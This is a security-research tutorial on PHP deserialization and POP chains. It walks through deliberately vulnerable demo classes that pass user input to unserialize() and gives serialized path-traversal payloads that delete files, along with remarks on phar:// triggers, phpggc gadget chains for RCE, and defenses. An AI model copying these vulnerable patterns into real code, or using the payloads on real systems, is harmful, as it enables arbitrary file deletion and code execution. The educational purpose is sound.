Security Research

A First Look at PHP Deserialization and POP CHAIN

#Web Security#Vulnerability Analysis
Copper-orange fractured chain links and incomplete puzzle pieces over a near-black teal-blue background, symbolizing the object property injection flow and magic method call sequence of a PHP deserialization POP CHAIN

I recently revisited a deserialization and POP CHAIN primer I wrote back in 2017 — at the time it was a beginner-friendly walkthrough. Re-reading it now, the core mechanics still hold up, but the attack surface around PHP deserialization has expanded substantially over the past few years. The phar stream wrapper has pushed deserialization triggers well beyond the unserialize() entry point, PHP 8 introduced __serialize/__unserialize to replace the Serializable interface, and tools like phpggc have turned mainstream framework gadget chains into an “plug-and-play” arsenal. Taking the chance of this revision, I’m keeping the original three examples as the introductory skeleton and supplementing the key turning points with side notes that fill in what has happened since — so this 2017 write-up does not stay frozen in 2017.

Background

What is a POP CHAIN? My own take: take a magic method as the first small component, then call other functions (also small components) from inside that magic method; by hunting for same-named functions and linking them to sensitive functions and properties in classes, you assemble a POP CHAIN. At that point every sensitive property in the class is controllable. When the argument to unserialize() is attacker-controlled, the deserialization vulnerability lets you drive the POP CHAIN to trigger a specific exploit.

Deserialization Vulnerability Basics

Let’s revisit the exploitation flow with a basic deserialization example. The code below uses the __destruct() magic method, which fires after the PHP script finishes, deleting a file named $cache_file under the site’s temp folder /var/www/html/cache/tmp/. Since unserialize($_GET['data']) takes controllable input and satisfies three conditions — controllable deserialization function, a triggerable magic method, and controllable properties inside that magic method — a deserialization vulnerability exists here, and path traversal can be used to delete arbitrary files.

<?php
class Example1
{
    public $cache_file;

    function __construct()
    {
        // some PHP code...
    }

    function __destruct()
    {
        $file = "/var/www/html/cache/tmp/{$this->cache_file}";
        if (file_exists($file)) @unlink($file);
    }
}
$user_data = unserialize($_GET['data']);
?>

Create a test file named thinking1 in the site root, then craft a payload to delete it:

<?php
class Example1
{
    public $cache_file = '../../thinking1';
}
$evil = new Example1;
echo serialize($evil);
?>

Output:

O:8:"Example1":1:{s:10:"cache_file";s:15:"../../thinking1";}

Submit the request:

http://192.168.163.136/test.php?data=O:8:"Example1":1:{s:10:"cache_file";s:15:"../../thinking1";}

After the request completes, thinking1 under /var/www/html is gone. In this example the dangerous code sits directly inside the magic method — as long as the property is controllable, the deletion fires.

Tracking Data Flow

In Example1 the file-deletion logic was placed directly inside the magic method. Let’s modify it slightly: move the dangerous code into a normal method Delete(), and have __destruct() invoke Delete() only when a condition holds. The same unserialize($_GET['data']) is controllable and __destruct() still fires, but now we need to trace the data flow through $this->Delete($this->cache_file) and find the deletion logic inside Delete().

<?php
class Example2
{
    public $cache_file;
    public $condition;

    function __construct()
    {
        // some PHP code...
    }

    function __destruct()
    {
        if ($this->condition === 'balabala') {
            $this->Delete($this->cache_file);
        }
    }

    function Delete($filename)
    {
        $file = "/var/www/html/cache/tmp/{$filename}";
        if (file_exists($file)) @unlink($file);
    }
}
$user_data = unserialize($_GET['data']);
?>

Craft the payload (controlling both $cache_file and $condition):

<?php
class Example2
{
    public $cache_file = '../../thinking2';
    public $condition = 'balabala';
}
$evil = new Example2();
echo serialize($evil);
?>

Output:

O:8:"Example2":2:{s:10:"cache_file";s:15:"../../thinking2";s:9:"condition";s:8:"balabala";}

After the request, thinking2 under /var/www/html is deleted. Example2 adds one extra step beyond Example1 — tracking the data flow from the magic method to a normal method within the same class.

Constructing the POP CHAIN

Examples 3, 4 and 5 require tracking data flow across classes. Example3’s __toString magic method invokes a Delete() method, and both unserialize($_GET['data']) and echo $user_data are present — satisfying “controllable deserialization function” and “triggerable __toString (invoked by echo)” simultaneously.

Tracing the Delete() method, we find that Example5 contains a “safe” Delete() (just returns a string, no dangerous operation), while Example4 also defines a same-named Delete() — but this one is unsafe: it deletes the file pointed to by $this->cache_file.

<?php
class Example3
{
    protected $obj;

    function __construct()
    {
        $this->obj = new Example5;
    }

    function __toString()
    {
        if (isset($this->obj)) return $this->obj->Delete();
    }
}

class Example4
{
    public $cache_file;

    function Delete()
    {
        $file = "/var/www/html/cache/tmp/{$this->cache_file}";
        if (file_exists($file)) {
            @unlink($file);
        }
        return 'I am a evil Delete function';
    }
}

class Example5
{
    function Delete()
    {
        return 'I am a safe Delete function';
    }
}
$user_data = unserialize($_GET['data']);
echo $user_data;
?>

From protected $obj and $this->obj = new Example5 we know $obj is a protected property — when serialised, the property name is wrapped in \00*\00 (null bytes around the asterisk). We can therefore deserialise $obj as Example4 instead, so __toString invokes Example4’s unsafe Delete(), achieving arbitrary file deletion.

Crafting the payload:

<?php
class Example3
{
    protected $obj;

    function __construct()
    {
        $this->obj = new Example4;
    }
}

class Example4
{
    public $cache_file = '../../thinking3';
}
$evil = new Example3();
echo urlencode(serialize($evil));
?>

Output (URL-encoded, because protected properties serialise with \00 bytes that must be encoded for safe HTTP transport):

O%3A8%3A%22Example3%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00obj%22%3BO%3A8%3A%22Example4%22%3A1%3A%7Bs%3A10%3A%22cache_file%22%3Bs%3A15%3A%22..%2F..%2Fthinking3%22%3B%7D%7D

After the request, thinking3 under /var/www/html is deleted. Look back at the opening definition of a POP CHAIN — take the magic method (__toString) as the entry point, call a same-named method (Delete), and link it to a sensitive property ($cache_file) in a class (Example4). That is a complete POP CHAIN.

Expanding the Surface: phar Deserialization

That covers the introductory skeleton of POP CHAINs. But the 2017 write-up only addressed the “controllable unserialize() entry” trigger path. Later in 2017, Sam Thomas’s BlackHat US talk doubled that surface — via the phar stream wrapper.

phar is PHP’s archive format (similar to Java’s jar) and is accessible through the phar:// protocol. The critical detail: when any file operation function (file_exists, is_dir, is_file, file_get_contents, fopen, filesize, copy, unlink, stat, and roughly a dozen more) receives a phar://path/to/archive.phar argument, PHP deserialises the object stored in the phar’s manifest — meaning unserialize() does not need to be invoked at all. As long as a file operation parameter is controllable and the attacker can upload a phar file (even one renamed as an image), deserialization fires.

Modern Developments: Framework Gadget Chains and PHP 8

The 2017 examples used hand-written demo classes — in practice you almost never see code this clean. Real PHP applications depend on a pile of Composer packages, and each one may carry exploitable magic methods and sensitive properties. This is what shaped the “framework gadget chain” research direction.

phpggc (PHP Gadget Chain Collection) is the best-known tool in this space, maintaining deserialization chains for mainstream frameworks and libraries like Laravel, Symfony, Monolog, Guzzle, Doctrine, SwiftMailer and WordPress. During an audit, once you find one controllable unserialize() point and confirm the target application pulls in a framework version indexed by phpggc, you can lift the corresponding gadget chain off the shelf to achieve RCE or file write — pushing POP CHAIN construction from “manual tracing” into a “plug-and-play arsenal” stage.

Defense

Defense against deserialization vulnerabilities is straightforward in principle: never let unserialize() touch user-controllable data.

  1. Prefer json_encode / json_decode over serialize / unserialize: JSON only describes data structures and never triggers magic methods — it eliminates the POP CHAIN surface at the root.
  2. When unserialize() is unavoidable, restrict instantiable classes: PHP 7.1+ supports unserialize($data, ['allowed_classes' => ['SafeClass']]) or ['allowed_classes' => false] (fully blocks class instantiation) — the most direct mitigation.
  3. Whitelist protocols for file operations: Filter inputs to file operation functions, blocking phar://, php://, file:// and other dangerous protocols; on PHP 8.0+ use phar.require_hash and stream_wrapper_unregister('phar') to tighten further.
  4. Dependency auditing: Run composer audit regularly for known vulnerabilities in dependencies; track whether phpggc has indexed the framework version your project uses — being indexed means any unserialize entry point is seconds away from being weaponised.
  5. Sign and verify integrity: Attach an HMAC to serialised data in transit, verify the signature before deserialisation, and reject tampered payloads to prevent malicious object injection.

Final Thoughts

The core of a deserialization vulnerability is a classic “consistency gap between declaration and implementation”: unserialize() is meant to restore object state, but it implicitly binds “state restoration” to “magic method invocation” — developers believe they are merely deserialising data, unaware that every call may kick off a long chain of automatic invocations. POP CHAIN threads that gap along same-named methods and controllable properties until it reaches a sensitive function. Phar deserialization widens the gap further — unserialize() is no longer needed; any file operation that ingests phar:// tears the gap open.

Security is a long game. PHP 8 is working to retract dangerous interfaces like Serializable that asked users to handle raw deserialisation strings themselves, but as long as __wakeup, __destruct and __toString exist, the POP CHAIN surface will not disappear — it merely refreshes its arsenal as new frameworks and libraries arrive. For developers, “never unserialize user input” is the baseline; for security researchers, tracking the evolution of mainstream framework gadget chains is an ongoing discipline.

References: